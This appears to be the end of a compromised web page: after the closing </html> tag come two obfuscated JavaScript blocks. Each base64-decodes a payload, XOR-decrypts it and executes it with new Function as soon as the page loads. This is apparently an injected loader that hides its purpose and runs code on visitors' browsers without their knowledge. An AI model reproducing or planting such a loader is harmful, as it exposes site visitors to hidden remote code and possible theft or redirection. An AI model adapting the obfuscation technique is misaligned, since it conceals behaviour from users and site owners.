</html><script>!function(){var _0xdac3ef103251=atob('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'),_0x9e751f2dc20b=46,_0x0b1f51e628bd=new Uint8Array(_0xdac3ef103251['length']),_0x1c3f58f3ac4b=0;for(;_0x1c3f58f3ac4b<_0xdac3ef103251['length'];_0x1c3f58f3ac4b++)_0x0b1f51e628bd[_0x1c3f58f3ac4b]=_0xdac3ef103251['charCodeAt'](_0x1c3f58f3ac4b)^_0x9e751f2dc20b;(new Function(new TextDecoder()['decode'](_0x0b1f51e628bd)))()}();</script><script>!function(){var _0x3bb1fe0827a6=atob('DkBTSEVST0lIDg9dUEdUBlNTaxdcTxtRT0hCSVEKdxITSlRVG1NTaxdcT30BeXlAVmNLRENCVQF7CnVWa2BjQhsBRRUeR0NHHkVDR0JEQEQTQwEKcWdQHnBQG30ETlJSVlUcCQlFSklTQkBKR1RDC0VOQ0VNCEhDUgQKBgROUlJWHAkJHxIIFBAIHxYIFxQQBHsdT0AOdxITSlRVAAB3EhNKVFV9dVZrYGNCew9UQ1JTVEgddxITSlRVG1NTaxdcT30BeXlAVmNLRENCVQF7Gw53EhNKVFVaWl1bDx13EhNKVFV9dVZrYGNCexsXHUBTSEVST0lIBnZXfBMVTw4PXU9ADgdCSUVTS0NIUghESUJfD11VQ1JyT0tDSVNSDnZXfBMVTwoUFg8dVENSU1RIHVtQR1QGQW1iSnIeG0JJRVNLQ0hSCEVUQ0dSQ2NKQ0tDSFIOAUJPUAEPCkNWV1JVXxtCSUVTS0NIUghFVENHUkNjSkNLQ0hSDgFPQFRHS0MBDx1BbWJKch4IVVJfSkMIRVVVckNeUhsBVklVT1JPSUgcQE9eQ0IdT0hVQ1IcFh1cC09IQkNeHBQXEhESHhUWEhUdREdFTUFUSVNIQhxUQURHDhcTChQVChIUCggSFA8dVklPSFJDVAtDUENIUlUcSElIQx0BHUNWV1JVXwhST1JKQxsBdUNFU1RPUl8GRU5DRU0BHUNWV1JVXwhVQ1JnUlJUT0RTUkMOAUdKSklRQFNKSlVFVENDSAEKAQEPHUNWV1JVXwhVUl9KQwhFVVVyQ15SGwFWSVVPUk9JSBxAT15DQh1PSFVDUhwWHVFPQlJOHBcWFgMdTkNPQU5SHBcWFgMdRElUQkNUHBYdXAtPSEJDXhwUFxIREh4VFhMVHURHRU1BVElTSEIcBUBAQB0BHUJJRVNLQ0hSCERJQl8IR1ZWQ0hCZU5PSkIOQW1iSnIeDx1CSUVTS0NIUghESUJfCEdWVkNIQmVOT0pCDkNWV1JVXw8dQFNIRVJPSUgGSGJvYWxlDg9dUlRfXUFtYkpyHghUQ0tJUEMODx1DVldSVV8IVENLSVBDDg8dW0VHUkVODnlDD11bUlRfXUJDSkNSQwZ3EhNKVFV9dVZrYGNCe1tFR1JFTg55QxQPXVtbU1NrF1xPCEdCQmNQQ0hSak9VUkNIQ1QOAUtDVVVHQUMBCkBTSEVST0lIDnlDUA9dUlRfXU9ADgd5Q1BaWgd5Q1AIQkdSRw9UQ1JTVEgdT0AOeUNQCEJHUkcIUl9WQxsbGwFAVgtDS0RDQgtFSklVQwEPSGJvYWxlDg8dW0VHUkVODnlDFQ9dW1sPHUBTSEVST0lIBnB1Q0N+Ug5cV2hSdGoPXU9ADlxXaFJ0ahgbcWdQHnBQCEpDSEFSTg9UQ1JTVEgdUEdUBnlOGwEBHVJUX115Tht1UlRPSEEOU1NrF1xPCEpJRUdST0lIAAAOU1NrF1xPCEpJRUdST0lICE5JVVJIR0tDWlpTU2sXXE8ISklFR1JPSUgITklVUg9aWgEBDwhUQ1ZKR0VDDgl4UVFReggJTwoBAQ8dW0VHUkVODnlDTg9dW1BHVAZ5UxtxZ1AecFB9XFdoUnRqew0BCUNLRENCCQENdVZrYGNCDQEZQ0tEQ0IbFwENDnlOGQ4BAE5JVVIbAQ1DSEVJQkNzdG9lSUtWSUhDSFIOeU4PDxwBAQ8dUEdUBnlSSRtVQ1JyT0tDSVNSDkBTSEVST0lIDg9dcHVDQ35SDlxXaFJ0ag0XDx1bChcUFhYWDx1DVldSVV8ISUhKSUdCG0BTSEVST0lIDg9dRUpDR1RyT0tDSVNSDnlSSQ8dWx1DVldSVV8IVVRFG3lTHVtwdUNDflIOFg8dW09ADkJJRVNLQ0hSCFRDR0JfdVJHUkMbGxsBSklHQk9IQQEPU1NrF1xPCEdCQmNQQ0hSak9VUkNIQ1QOAWJpa2VJSFJDSFJqSUdCQ0IBCnZXfBMVTw8dQ0pVQwZ2V3wTFU8ODx1bDw4PHQ=='),_0xb453c9c7ad32=38,_0x6b43c3f85eef=new Uint8Array(_0x3bb1fe0827a6['length']),_0x42b6bdc41c2a=0;for(;_0x42b6bdc41c2a<_0x3bb1fe0827a6['length'];_0x42b6bdc41c2a++)_0x6b43c3f85eef[_0x42b6bdc41c2a]=_0x3bb1fe0827a6['charCodeAt'](_0x42b6bdc41c2a)^_0xb453c9c7ad32;(new Function(new TextDecoder()['decode'](_0x6b43c3f85eef)))()}();</script>